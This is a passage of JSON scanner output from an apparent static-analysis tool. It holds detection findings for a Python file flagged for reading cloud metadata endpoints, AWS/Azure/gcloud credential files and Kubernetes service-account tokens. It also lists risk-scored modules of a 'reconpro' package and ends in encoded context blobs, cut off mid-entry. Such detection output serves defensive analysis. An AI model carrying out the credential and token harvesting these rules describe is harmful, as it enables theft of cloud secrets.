"micro-behaviors/fs/path/application/prefix::container-app-root-path", "conf": 0.9, "crit": 3, "desc": "Absolute container application root path", "spans": [ [ 989, 5 ] ] }, { "id": "micro-behaviors/fs/path/filename-credential::credentials-json-file", "conf": 0.85, "crit": 3, "desc": "References a credentials.json file", "spans": [ [ 993, 17 ] ] }, { "id": "micro-behaviors/fs/path/token::aws-credentials-text-reference", "atk": "T1552.005", "conf": 0.92, "crit": 3, "desc": "References an AWS credentials file path", "spans": [ [ 816, 16 ] ] }, { "id": "micro-behaviors/fs/path/token::azure-credentials", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "Azure credentials path", "spans": [ [ 934, 18 ] ] }, { "id": "micro-behaviors/os/container/runtime::container-runtime-secrets-path", "conf": 0.82, "crit": 3, "desc": "Container runtime secrets path", "spans": [ [ 1050, 18 ] ] }, { "id": "micro-behaviors/os/container/runtime::projected-serviceaccount-token", "conf": 0.82, "crit": 3, "desc": "Kubernetes projected service-account path", "spans": [ [ 1051, 51 ] ] }, { "id": "micro-behaviors/os/container/runtime::secrets-path", "conf": 0.7, "crit": 3, "desc": "Kubernetes secrets path", "spans": [ [ 1051, 27 ] ] }, { "id": "micro-behaviors/os/container/runtime::serviceaccount-token", "conf": 0.8, "crit": 3, "desc": "Kubernetes service-account token path", "spans": [ [ 1051, 51 ] ] }, { "id": "micro-behaviors/os/env/secret-name::python-environ-items-password-marker", "conf": 0.92, "crit": 3, "desc": "Password marker string literal", "spans": [ [ 5673, 8 ] ] }, { "id": "micro-behaviors/os/privilege/check::source-privileged-account-reference", "conf": 0.86, "crit": 3, "desc": "Source references a privileged account", "spans": [ [ 1126, 5 ] ] }, { "id": "objectives/anti-static/obfuscation/payload/encrypted::aes-key-field-token", "atk": "T1573.001,T1027", "mbc": "C0027", "conf": 0.8, "crit": 3, "desc": "AES or generic key field name", "spans": [ [ 5650, 10 ] ] }, { "id": "objectives/credential-access/api-harvest/token::credential-regex-map-binding", "atk": "T1528", "conf": 0.9, "crit": 3, "desc": "Credential regex map binding", "spans": [ [ 1186, 13 ] ] }, { "id": "objectives/credential-access/cloud/container::python-serviceaccount-token-path-reference", "atk": "T1552.001", "mbc": "E1552", "conf": 0.9, "crit": 3, "desc": "Python references service-account token path", "spans": [ [ 1082, 20 ] ] }, { "id": "objectives/credential-access/cloud/datastore::quoted-private-key-field", "atk": "T1552.001,T1555", "mbc": "E1552", "conf": 0.9, "crit": 3, "desc": "Quoted private_key document field", "spans": [ [ 5723, 13 ] ] }, { "id": "objectives/credential-access/cloud/session::azure-cli-token-cache-path", "atk": "T1552.005", "mbc": "E1552", "conf": 0.9, "crit": 3, "desc": "Azure CLI token cache path", "spans": [ [ 956, 25 ] ] }, { "id": "objectives/credential-access/files/config::azure-credentials-path-ref", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 3, "desc": "References Azure credentials file", "spans": [ [ 934, 18 ] ] }, { "id": "objectives/credential-access/files/config::gcloud-config-path-ref", "atk": "T1552.001", "mbc": "B0029", "conf": 0.9, "crit": 3, "desc": "References gcloud application credentials path", "spans": [ [ 874, 14 ] ] }, { "id": "objectives/credential-access/theft/keywords::private-key-field-name", "conf": 0.96, "crit": 1, "desc": "Private-key field name in structured data", "spans": [ [ 5723, 0 ] ] }, { "id": "objectives/lateral-movement/exploit/scanner::internal-cloud-probe-payload", "atk": "T1210", "conf": 0.9, "crit": 3, "desc": "Cloud metadata endpoint probe payload", "spans": [ [ 225, 15 ], [ 518, 24 ] ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::redsun-cloud-tag-abuse--rx-5", "conf": 0.95, "crit": 3, "desc": "Remediation term", "spans": [ [ 3512, 11 ] ] }, { "id": "objectives/supply-chain/recon-exfil/agent-skill::proxy-cloud-credential-path", "atk": "T1195.002", "conf": 0.97, "crit": 3, "desc": "Cloud credential path marker", "spans": [ [ 815, 17 ] ] }, { "id": "well-known/tool/detection/redaction::secret-pattern-token-label", "conf": 0.95, "crit": 3, "desc": "Secret scanner token label", "spans": [ [ 1655, 13 ] ] }, { "id": "well-known/tool/detection/sast::python-secret-label-catalog", "conf": 0.94, "crit": 2, "desc": "Python secret detector label catalog", "spans": [ [ 1363, 0 ] ] }, { "id": "well-known/tool/development/cloud-dev::gcloud-command-token", "conf": 0.9, "crit": 3, "desc": "gcloud command token", "spans": [ [ 882, 6 ] ] }, { "id": "metadata/file/string/cloud::aws-instance-id-metadata-path", "conf": 0.88, "crit": 3, "desc": "AWS instance-id metadata path", "spans": [ [ 343, 29 ] ] }, { "id": "metadata/file/string/cloud::aws-metadata-endpoint", "conf": 0.85, "crit": 3, "desc": "AWS EC2 metadata endpoint", "spans": [ [ 225, 32 ] ] }, { "id": "metadata/file/string/cloud::azure-metadata-endpoint", "conf": 0.85, "crit": 3, "desc": "Azure IMDS endpoint", "spans": [ [ 661, 33 ] ] }, { "id": "micro-behaviors/communications/http/services/aws::iam-credentials-path-reference", "conf": 0.7, "crit": 3, "desc": "AWS IAM credentials metadata path", "spans": [ [ 258, 24 ] ] }, { "id": "micro-behaviors/communications/http/url/scheme::cleartext-http-url-code-literal", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Code embeds cleartext HTTP URL literal", "spans": [ [ 218, 65 ], [ 321, 52 ], [ 402, 40 ], [ 511, 51 ], [ 654, 40 ] ] }, { "id": "micro-behaviors/data/manipulation::string-replace-result-assignment", "conf": 0.9, "crit": 3, "desc": "Assigns a string replace result", "spans": [ [ 1960, 25 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::aws-config", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "AWS config file path", "spans": [ [ 837, 11 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::kube-config", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "Kubernetes config path", "spans": [ [ 857, 12 ] ] }, { "id": "micro-behaviors/fs/path/token::container-run-secrets", "atk": "T1552.001", "conf": 0.9, "crit": 2, "desc": "Container runtime secrets path", "spans": [ [ 1055, 0 ] ] }, { "id": "micro-behaviors/fs/path/token::gcloud-credentials", "atk": "T1552.001", "conf": 0.95, "crit": 3, "desc": "Google Cloud credentials path", "spans": [ [ 874, 14 ] ] }, { "id": "objectives/collection/file-targeting/filter::credential-file-extension", "atk": "T1005,T1083", "conf": 0.92, "crit": 3, "desc": "Credential-like filename extension", "spans": [ [ 994, 16 ] ] }, { "id": "objectives/collection/file-targeting/filter::credential-file-path-segment", "atk": "T1005,T1083", "conf": 0.92, "crit": 3, "desc": "Credential-like path segment", "spans": [ [ 815, 17 ], [ 933, 19 ], [ 989, 17 ], [ 3893, 13 ] ] }, { "id": "objectives/credential-access/cloud/container::python-serviceaccount-path-reference", "atk": "T1552.001", "mbc": "E1552", "conf": 0.94, "crit": 3, "desc": "Python references Kubernetes token files", "spans": [ [ 1051, 522 ] ] }, { "id": "objectives/credential-access/cloud/token/files::azure-config", "atk": "T1552.001", "conf": 0.85, "crit": 3, "desc": "Azure CLI token cache path", "spans": [ [ 956, 25 ] ] }, { "id": "metadata/file/catalog/service::ai-vault-service-names", "conf": 0.82, "crit": 1, "desc": "AI and vault service names", "uses": [ 2 ], "spans": [ [ 4929, 0 ] ] }, { "id": "metadata/file/catalog/service::cloud-saas-service-names", "conf": 0.6, "crit": 1, "desc": "Cloud SaaS service names", "uses": [ 0 ], "spans": [ [ 1364, 0 ] ] }, { "id": "metadata/file/catalog/service::messaging-mail-service-names", "conf": 0.82, "crit": 1, "desc": "Messaging and mail service names", "uses": [ 1 ], "spans": [ [ 1562, 0 ] ] }, { "id": "objectives/credential-access/cloud/token/metadata::aws-metadata-reference", "atk": "T1552.005,T1580", "mbc": "E1552", "conf": 0.9, "crit": 3, "desc": "AWS instance metadata endpoint reference", "uses": [ 38 ], "spans": [ [ 225, 32 ] ] }, { "id": "objectives/credential-access/cloud/token/metadata::azure-metadata-reference", "atk": "T1552.005,T1580", "mbc": "E1552", "conf": 0.9, "crit": 3, "desc": "Azure instance metadata endpoint reference", "uses": [ 39 ], "spans": [ [ 661, 33 ] ] }, { "id": "objectives/credential-access/cloud/token/metadata::cloud-credential-endpoint-reference", "atk": "T1552.005,T1580", "mbc": "E1552", "conf": 0.92, "crit": 3, "desc": "Cloud instance credential endpoint reference", "uses": [ 8, 40 ], "spans": [ [ 225, 57 ], [ 258, 24 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::orchestration-credentials", "atk": "T1552.001", "conf": 0.94, "crit": 3, "desc": "Orchestration credential paths", "uses": [ 44 ], "spans": [ [ 857, 12 ] ] }, { "id": "objectives/credential-access/cloud/container::python-kube-serviceaccount-read", "atk": "T1552.001", "mbc": "E1552", "conf": 0.94, "crit": 4, "desc": "Python reads Kubernetes serviceaccount files", "uses": [ 25, 49 ], "spans": [ [ 1051, 522 ], [ 1082, 20 ] ] }, { "id": "objectives/discovery/cloud/metadata::cloud-metadata-access", "conf": 0.85, "crit": 1, "desc": "Cloud metadata endpoint reference", "uses": [ 38, 39 ], "spans": [ [ 661, 0 ] ] } ], "type": "python" }, { "id": 134, "mol": "O₄(AlCaPrXe₂)H₅(Cm₁₂DbF₃OsTi)", "sha": "8b246272de9b5407f64712ee8fa94d6187f16146438f1201b9e5feed5006851e", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/oblivion.py", "risk": 9, "size": 37242, "type": "python", "depth": 1 }, { "id": 135, "mol": "O(Pr)H₃(Cm₃Db₂F₂)", "sha": "0f01a501a35047f7de87b8d6e98faf146ff566adcfe8614211de70696edc052c", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/pegasus.py", "risk": 8, "size": 10078, "type": "python", "depth": 1 }, { "id": 136, "mol": "O₃(C₂EuPr)H₄(Cm₁₃CrDb₂Os)Md(In)", "sha": "e21842e7084f8a543a213f5cd1e2c5821b237455bc90f111cffdd15a24134ebd", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/quantum_fingerprint.py", "risk": 11, "size": 78715, "type": "python", "depth": 1 }, { "id": 137, "mol": "K₂(LiTe)O₁₂(AlCCa₂CoDyEr₂Eu₂ILaPrSXe)H₆(Cm₂₂CrDb₆F₆Os₂Po₂)Md(Pa)", "sha": "c3d21e544840fdced778b96b9eb3350c0212f74fb262198a717bf6a6d4b6ddb1", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/recon.py", "risk": 29, "size": 56789, "type": "python", "depth": 1 }, { "id": 138, "mol": "K₂(Te₂Lu)O₁₀(EuAsCCaDyErILaPrXe₂)H₄(Cm₆DbOsPo₂)Md(Pa)", "sha": "5ffed336aa1029d1917fdd26e8cafb031736ff6a58b97f208277e2b6de4bec75", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/signal_intelligence.py", "risk": 80, "size": 85677, "type": "python", "depth": 1 }, { "id": 139, "mol": "O₉(AsCCaDyErEuI₂PrXe)H₃(Cm₇Db₁₀Os₂)Md₃(InPa)", "sha": "08ea55c8b4cd20fafb8e8ea35393a018c21b433033156a09338b3920499cdb37", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/steganography_detector.py", "risk": 22, "size": 59079, "type": "python", "depth": 1 }, { "id": 140, "mol": "O(Pr)H₄(CrDb₅F₂Os₂)Md(In)", "sha": "a83c2b3264c8a6f8d7e486b3b94d4e0ebab3048541bbeecf2fd1f5642b4e3d32", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/team.py", "risk": 10, "size": 9262, "type": "python", "depth": 1 }, { "id": 141, "mol": "O₅(Ca₂CoLaPrS)H₄(Cm₅Db₂F₇Os₃)", "sha": "a4ea7371999a4eea75eeda5f68372fe1b45b068190267be73e66a5ca3c71c265", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/vibesec.py", "risk": 14, "size": 9260, "type": "python", "depth": 1 }, { "id": 142, "mol": "O₆(AsCEuIPrXe₃)H₃(Cm₃Db₁₀F)Md₃(InPa)", "sha": "3466cc49035d1746b78289a2fe387edd310daa34cbc484619c9e7125b7edbbb2", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/weaponized_report.py", "risk": 18, "size": 100227, "type": "python", "depth": 1 }, { "ctx": [ { "b": "a%Fj9z!a0bwJy@qmn=]*l{T%.nl5z:mn+n/FrRfxzF%x2y\u003cvQ0vrl0\u003caxrq\u0026z!0{bwO#Q3wfs]}y\u0026i*8vpA}!x([Ryl$HEKv@#B6zxJLfAV!m\u003ev@DlYA=i7ziw96tfFiXtl}6Nlpe:.+miBlammpcyk#ZAKpc?L@pFKO^aMv{oaxi2*B0bsrwozZ1azCv$zGGP8x\u003equdAa9\u003cgwPzWfazCZonk@L+aAz4mAbPSnwPFi2xKM09zddYjx(mD}v{%E\u003caA.Njz!0{bwO#Q3wft/haBmQtz.kHdC{4oMy\u0026i*8vpA}!x([62B0bNrA=l8kxDRwrvruj8Bzkk[yZKP*z/5{0C{3TeBy!%7x(v(uaz2M", "ln": 0, "col": 1, "line": 1 }, { "b": "yZLk[z/PMfxdLfqB:wvFzF782zEEvbB7]XDazts{wmY^7x(n0hwN/*@z/d9GvqYP#vpJ!UB8@Elz/fVqz!{Lkvq{g1zF7Ne3pwlvvpA}!x([62B2\u003cTJatCF\u003eqE%]*z/fScavf)-zddmaavG^.wN/*@z/cYSFrRfPByxo9B98bavqE5}vrl0@x(mF", "ln": 339, "col": 74, "line": 5 }, { "b": "A=L-cvruj4zxN}?LPStlz/Y$KA+e\u0026]A+fb#wGU]2B7GxnwN({bwPz\u003caz/fRsCwhejazU\u003ekCwW:garR^HC6dRswPzi*x(4H9C{3TaBywS!B7GznBz\u0026plx(mD7C4CYnx(v(vB8UY2x\u003ez6?azkb4B1N!xat+X[ls\u003c?sC4\u003e(nvqE5LzF%x2y\u003cvd4v@Dy4", "ln": 764, "col": 25, "line": 13 }, { "b": "vqG\u003e8B0bHmB8V5nB7Gz1arR^HaAIWrxjVdax(mMax(mV%v@#B6zxJ[px(n3laA8oyzdNN5A^n^qz/P(vAcb/jzy#nsat$?{nm=juwPw[VzF%x2y\u003cvc\u003ewPRG[BzkVhaMv{oao", "ln": 1066, "col": 63, "line": 17 }, { "b": "x(mT5xcpb:zGxJlx)a5gnP5cUA=2lbx(v\u003e@a%Firw].*baywF/B-.+DwNw^!x(d*cA=-BjzF\u003cxmvruj4zGuc(x(d*cA=-Bvvrue\u0026x(d*cA=-BAwErc*AbP=saAITkBzk/rx\u003e8h\u003ex(d*cA=-BCx(dz*x(d*cA=-BDA+]MavLhRdA=U!0w].*baAR)Fx(mMax(d*cA=-A\u0026zH0=Ql${dMefES2B95@QpJgz\u0026z/f01efE]mAbo7)3tar%z6gC-xMOunuU\u003cd@wPw]cze:AlBrCmsBz$PaA=kz#efEz@zE^E0xdLfowObv[y\u0026\u003c32x(dNawPwa+3l{XMM5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2PjboPoEpFBbGsZLc0qBKIPpFsePaMv{oax9w\u003cBzk/rx\u003e7N/ayX=2wO=6#wPF#az/M$vwPI*ezGxwivqYH\u0026D2)Xv3l{XMM5$0\u003cKM8K!\u0026*2R+M5$0\u003cKM8K!\u0026*2P", "ln": 1543, "col": 47, "line": 28 }, { "b": "xLz9)a$K6zarR^HarR^HarR^Jw].r%wP@6kyA+!Zb2AMbxM4=jed9HxarR^HarR^HarR\u003eswPIv4x(Ffdz/c:War\u003co$y?$j\u003cD30.rzxK4wvpJ\u003eTvpK6}wQ5fjB7F(8\u0026^^moA+fA9vqH0cv@C)?aAE", "ln": 6132, "col": 26, "line": 128 }, { "b": "xLz9)a$K6zarR^HarR^HarR^Jw].r%wP@6kyA+!Zb2y*ba$K6zarR^HarR^HarR^JwmY*(A+PGmx(v(kiV]RynkHBuA=M8saA}KwxDQ]3y?j-dvruf9vqYP#y?W=#az#ssvR6N7ed9HxarR^", "ln": 7062, "col": 26, "line": 149 }, { "b": "xLz9)a$K6zarR^HarR^HarR^Jw].r%wP@6kyA+!Zb2SL)C{j^DarR^HarR^HarR^Hb4Lnav@=p5BzkVhb03?\u003cqGVC]az2!cwPh:9z/cXrwP?S[y?W^1az\u003eXixM4A7zEEx[B0a[ewftw\u003cy?$k7", "ln": 7623, "col": 26, "line": 163 }, { "b": "wPzHbC{ko(b4CUcBzkk[y:7zqarR^HarR^HarR^Hb4Lnav@=p5BzkVhb03?\u003co\u003e!9Tz/Y\u0026eBrBHVoDWnBA=#2maz2Olz/M#WFrRf%wP?S[y\u0026Z.2x(mE1Cxj)ovpK7:zE:(hBywV{a$K6zarR^HarR!Ped9HxarR^HarV1rarR^HarR^HarR^Hb5Q?awG\u003ceTb5.Hgv@bZ-wPz*fAW04warR^HarR^HarR^Hb5*$jBy/Ggb03\u0026!a$bVppF%FgtX5gs", "ln": 9340, "col": 17, "line": 204 }, { "b": "AW04warR^HarR^HarR^Hb5*$jBy/Ggb03\u0026!a$bVpo(B]Zz:V{tzeTr8z*T#df!+pnD{Q+cpjcR[A=2(gdiZqIarR^HarR^HarR^Hb6dsswPzHbC{ko(b4$X6xD!#marR^", "ln": 9758, "col": 34, "line": 214 }, { "b": "zx.a:b2R#.x(+zdA=M8saMv{oaAz4pwNPy@ay!?\u0026xLzu%ayPq2xLzN1v@#\u003clwGUA0wft\u0026fBy/uix\u003c\u003e*2v@Dj3vqYP#x(mV%v@#B6zxZRsarR^HarR^HEjLZFarR^HarR!N3lQDlarR^HarR^Har\u003eYizdK[Lar\u003eDfzE)\u003c5v{:p%y*RmezGGria$K6zarR^HarR^HarR^JAa9\u003cgwPzVjiV@C!c{G+lACM+sD2v.jCZKNTzGGriaz2Olz/QkFzEWH3B7F(8Ar", "ln": 10152, "col": 24, "line": 223 }, { "b": "arR^HarR^HarR^Hb5Q?awG\u003ceTb6m:uv{%E^wPz*fAW04warR^HarR^HarR^Hb5*$jBy/Ggb03\u0026!a$bVpl2ZmxxK@q=z/5#)BBngGzdv0@dk08mc{G+7A=M8sD{@6@z/Qj@r8=Wpq/(C\u0026B-R}wCW\u003er7BzkVhdiZqIarR^HarR^HarR^Hb6dsswPzHbC{ko(b4$X6xD!#marR^HarR^HarR^Hb4+\u003e7zdN{fA+=\u003cWar\u003c^6zdv0@a$K6zarR^HarR^HarR^JwmY*(A+PGmx(v(kiV]RCz/5#)BrCdnA=k$vAa9x\u003caMv{oaAz4pwNPy@awc6=vix-8A=U@kzxJw9wft@8A=#ngBrC7izGGr3zE)\u0026hwmY\u003c\u003ex(4\u0026med9HxarR^HarV7-3lQDlarR^HaBsCr", "ln": 13212, "col": 1, "line": 290 }, { "b": "wG\u003ceTb6N:swn=WkuVoB}xKtN!vqv5r3lQDlarR^HarR^Har\u003e=kBAz8mzx.a:AV#[@i:j)4t3Tf]tQR/$rDz.(B9}56zE^WfB9{/8z!B90z6hqZy?mWnx(mH7AckSqCxXmKz/o.DtWgGrCu!x9eNo\u003eQa$K6zarR^HarR^HarR^JB7GJaA+PSvb03?\u003cxLz9)a$K6zarR^HarR^HarR^JwmY*(A+PGmx(v(kiV]RFx(mE1Cxj)sx(4v4D2[7sz6i!aBz8!dCYmOxwN(}yFrRf%wP?S[y\u0026Z.uwPz%9AV![bA+e:5z/QaCB98CBv@#\u003clwG\u0026VjarR^HarR^HEjLZFarR^HarR!N3lQDlarR^HarR^Har\u003eYizdK[Lar\u003eumv@2T@uVoB}xKtN!vqv5r3lQDlarR^HarR^Har\u003e=kBAz8mzx.a:AW0d+krrj(z#", "ln": 14506, "col": 17, "line": 319 }, { "b": "wG\u0026VjarR^HarR^HarR^Hb5*$jBy/Ggb03\u0026!a$bVptRoP9C6)!rzF0P}tRpqsy\u003cY-hzF0P}tRo=jz/f@zwPS3dzFa2}e]V8-vq{g4x\u003e7N[x(v(]e]U\u0026HAaK6ix\u003eqvkCv+k*e{IkHdiZqIarR^HarR^HarR^Hb6dsswPzHbC{ko(b4$X6xD!#marR^HarR^HarR^Hb4H", "ln": 15117, "col": 42, "line": 331 }, { "b": "A9)i\u003ey?l%]wObH]wO#0?a$K6zarR^HarR^HarR^JAa9\u003cgwPzVjiV@C!fdo4CBzU#ABy/rdE0e}sflz5Ido*53fd[?Zd\u003cuIKarR^HarR^HarR^Hb6dsswPzHbC{ko(b5H[4x)1nped9HxarR^HarR^HarR\u003eswPIv4x(Ffdz/c:War\u003c=@ze:AlvrcSow[=6)aAg+hxDQ(h", "ln": 15405, "col": 25, "line": 337 }, { "b": "b03?\u003cvrV^1yH}=#y?m3\u003ca$K6zarR^HarR^HarR^JAa9\u003cgwPzVjiV@C!c{G:Uog.ANk}Mm]eJE9-f/BDcvrV^1B7F\u003c4wPRo/v}f7\u003eB6\u0026Y]C{%{*3lQDlarR^HarR^Har\u003e(rC4CYdBA]5\u003ear\u003erox([60vqEbs3lQDlarR^HarR^Har\u003eucB7ol8Acb/jzx.a:b0/peayO+\u0026wPI]nyH}=lwmY\u003c]v@#o)aMv{oazb+jy-)k7z/]OkvpJ!=B-8pzv@Dj6A=k/eB7DFmx(!5led9Hx", "ln": 15688, "col": 18, "line": 345 }, { "b": "b03?\u003cAb]Vovru6/yH}=#y?m3\u003ca$K6zarR^HarR^HarR^JAa9\u003cgwPzVjiV@C!eIeLaeKz(@nLQxRkrqXvk{gLzlM*+Aq:zJPktUlHrZxXNawkdaeIeLaeG#.MarR^HarR^HarR^Hb6dsswPzHbC{ko(b4CUcBzkk[y:7zqarR^HarR^HarR^Hb4Lnav@=p5Bzg", "ln": 15944, "col": 18, "line": 351 }, { "b": "arR^HarR^Hb5*$jBy/Ggb03\u0026!a$bVpyiK=7uObLFB7F\u003c4wPSq(s5-yheNpOtmmf%wr4h3RB6Qn1iZ3+MtYTg2tpiV1t%zK#Cp$KNDOEAfEiHiHarR^HarR^HarR^Hb6dsswPzHbC{ko(b4CUcBn", "ln": 16219, "col": 5, "line": 358 }, { "b": "b1+{oaAImfzFs03aAIa7A+ftnwQ5fjB7F(8\u0026^^moBz\u003e@azxJLfA+w%7C{46AB8#58y?j!w3lQDlarR^HaBL^FarR^HarR^HDKp(rarR^HarR^HarR\u003eCvqPN1iV]RSvG", "ln": 16370, "col": 28, "line": 360 }, { "b": "xcF(larR^HarR^HarR^Hb5*$jBy/Ggb03\u0026!a$bVpzeTr8z!9r9krr41B8(BMkyvA*B985nwPGm:i=O%+kyvr[B8=2zA+e=}B9}zkAD0u/fe3KotYRn$b3=Yyed9HxarR^", "ln": 16488, "col": 41, "line": 363 }, { "b": "arR^Hb5*$jBy/Ggb03\u0026!a$bVpvq]{+uObLFyH}^svq]{@wQb.etYTg2trj]Mtu(kPdQao9b3^AqtZ4=9DONoaEiHiHarR^HarR^HarR^Hb6dsswPzHbC{ko(b4CUcBzg", "ln": 16779, "col": 9, "line": 370 }, { "b": "yA+qparR^HarR^HarR^Hb5*$jBy/Ggb03\u0026!a$bVpxM4%lzEEx[D#\u0026\u003etC4CYwxM4%ldo!\u0026rB6QpAkrr1SeQx95iw1I!tRmDQc{G+bzGGDgzEEvey\u0026r/(y\u003cY-hA=uzBA=kGo", "ln": 17284, "col": 34, "line": 381 }, { "b": "oIO}.lolkSx\u003e8l?B98BNawuG\u003cBx.dEv@${@BAe]Pl2H%Nu0ONoaBsCrarR^JzF9W3CP]f\u003etm8F}arR^HarV1rarR^HarR^HarR^Hb6EKrB7]MguVoB}By/Ggb03\u0026!b5R4czG)/.tX2u\u0026e)I{qdo[GgwgF\u0026P3lQDlarR^HarR^Har\u003e#Ky\u0026i*8vpB4:uVGN)xjVcdiV}SlarR^HarR^HarR^HarR^HDM)rnCP]f\u003ea$$Sda$K\u0026Xv%hAciV]RlrZ!O}fFCHsgbZ)Fa$K\u0026XwmY*(b03?\u003crz(yhAb](bwPI{bzF783B.kk%AV/pzwPzy0z*9yNed9HxarR^HarR^HarR^HarV1PzddVkiV]R3e?!F2ar\u003erswG\u003ceTb12y1eIY1mgC7voh.VBbar\u003eucB7lyPar\u003c(#vPdhPyH}Pgl#M0FEjLZFarR^HarR^HarR^HarR!Nb5H+kb03?\u003cf!LpbefDcDC4z\u003cUar\u003cfNmj*nGf/gEof/7QfefDcEwPIu9iV]RBp^!CexK$Q.wPw]jvrcB6zF77Wz=m\u003cded9HxarR^HarR^HarR^HarV1PzddVkiV]R3e?]mdefDcDC4z\u003cUar\u003cfNmj*nGf/Z*Ch8c*fefDcEwPIu9iV]Rqr8=WEg9yBRy\u0026\u003cxgy?m\u003c9zF77Wz=m\u003cded9HxarR^HarR^HarR^HarV1Pze0(iiV]R3e?]peefDcNvr-$Sar\u0026J)gbf$7ar\u003erswG\u003ceTb12y1eIY1nf!CdpfFLHgefDcEwPIu9iV]Rmpe-oQwPI^aC4CXpz!rPkvTfLzzE\u003c@7wNPK2CxdztwG(KN3lQDlarR^HarR^HarR^HaBtqHx(kaQar\u0026J)gbf$7ar\u003eVhCP]f\u003ea#7Y9h6KN]b4C!cb03?\u003clSMScgb7EueJkExhZf^}b4Lnav\u003ci@Rb1LWjp+KNDA:-{3wft]7B7GCol#M0FEjLZFarR^HarR^HarR!jed9HxarR^HarV7-3lQDlaycJ9arR^Hb4kC0v}YA$iV}SlarR^HarR^HDKp(rarR^HarR^HarR\u003eKwPz\u003caz/e{3vruQ5A=96Zao", "ln": 18081, "col": 11, "line": 394 }, { "b": "arR\u003eKB.\u003e@bA:-A[wNxE^zF9K4b03\u0026J3lQDlarR^HarR^HarR^HaBtqHvr-$Sar\u0026M[g9Om(b4C!cb03?\u003clSMScgb7BreIF\u003eogA[v)b4Lnav\u003ci@Rb1LWjp-%B.vpS}\u0026aAz4mAbPSnwGV5ky?X0kx(mMcEjLZFarR^HarR^HarR^HarR!Nb5H+kb03?\u003cga\u003eycefDcDC4z\u003cUar\u003cfNmj*nGf/HWyhA0JsefDcEwPIu9iV]R-z!9i*BAzESaAITBwNPA#xKL^?y?W^1avHcDb7h0HarR^HarR^HarR^HarR^HDM)rvzx.a:a#g=ca$K\u0026XzddVkiV]R4e\u0026kgqiu*0%b4C!cb03?\u003clSMScgb7EreI]gvh.#Tear\u003eucB7lyPar\u003cR", "ln": 18955, "col": 11, "line": 411 }, { "b": "aycJ9arR^Hb5.BizC%F8b03\u0026J3lQDlarR^HaBsCrarR^HarR^HarR^JC4CYnx(v(@Aa9\u003cgwPzVjiV@C!pJf(.q=uj]c%QpktRon(d\u003e8U[3lQDlarR^HarR^Har\u003e#Ky\u0026i*8vpB4:uVGN)xjVcdiV}SlarR^HarR^HarR^HarR^HDM)rnCP]f\u003ea#.bja$K\u0026Xv%hAciV]RlrZ!O}fFLKsf/p^DgA[v)b4Lnav\u003ci@Rb2@X}AV!}hB.$Ygvruj4", "ln": 19431, "col": 4, "line": 418 }, { "b": "g+yQwi5-3jar\u003eucB7lyPar\u003e\u0026qxl4MZq+gRvzxN}?LPU3YxkRc]azth3wnC*$aAy[2wGUG3zE^E6x(v(iqBr\u003e%EjLZFarR^HarR^HarR!jed9HxarR^HarV7-3lQDlaycJ9arR^Hb5?jmb03\u0026J3lQDlarR^HaBsCrarR^HarR^HarR^JC4CYnx(v(@Aa9\u003cgwPzVjiV@C!p!jzoc%QpktRon(d\u003eaZQtX2ueed9HxarR^HarR^HarR\u003c", "ln": 19722, "col": 61, "line": 424 }, { "b": "x(!0bzxJUhBy/8@AV/pzwPzy0z*9yNed9HxarR^HarR^HarT@v3lQDlarR^HaBL^FarR^Ht}us9arR^JBz(2avrrXOax]f}arR^HarR!N3lQDlarR^HarR^Har\u003e#uA=U@kzEmu\u003eBAz8mzx.a:AW0!*vpJ$Zaxin@v{%Ejc%QpktRon(d\u003eaZQtX2ueed9HxarR^HarR^HarR\u003eKB.\u003e@bA:-A[wNxE^zF9K4b03\u0026J3lQDlarR^HarR^HarQ", "ln": 20557, "col": 103, "line": 437 }, { "b": "v%hAciV]RlrZ!O}fFUEph8NfEa$K\u0026XwmY*(b03?\u003cp!KeOhY#Txv@=\u003clBzkVhayYF9w[u09z*2YjA+eV\u0026b7h0HarR^HarR^HarR^HarR^HDM)rvzx.a:a#7Y8e?[L3ar\u003eVhCP]f\u003ea#7Y8", "ln": 21294, "col": 50, "line": 455 }, { "b": "auZ\u0026K3lQDlaBtqxvru6[z/QaEiV]R/ACPtkefDcWvqH6$b03?\u003ccM(h.asw(\u003ejTR%defDcMvpA!:b03?\u003cq=ck5iV})Iz!@#[zy]saB7F(8vrDW9ayYRnvrlGlEjLZFarR!Nb4C56wOk}4C{ko(b6d:ux^b8Jb6EyhB.8:Tar\u0026fQrzDaYp9rF7oHRrFawL{goE@}soIv0jrzl7reG#.*b5yW%wO-LKar\u003c-YoLDKgrzDaYp9s4+y\u0026%Pjaz2CkzdN-@BzkVhb7h0H", "ln": 22994, "col": 36, "line": 486 }, { "b": 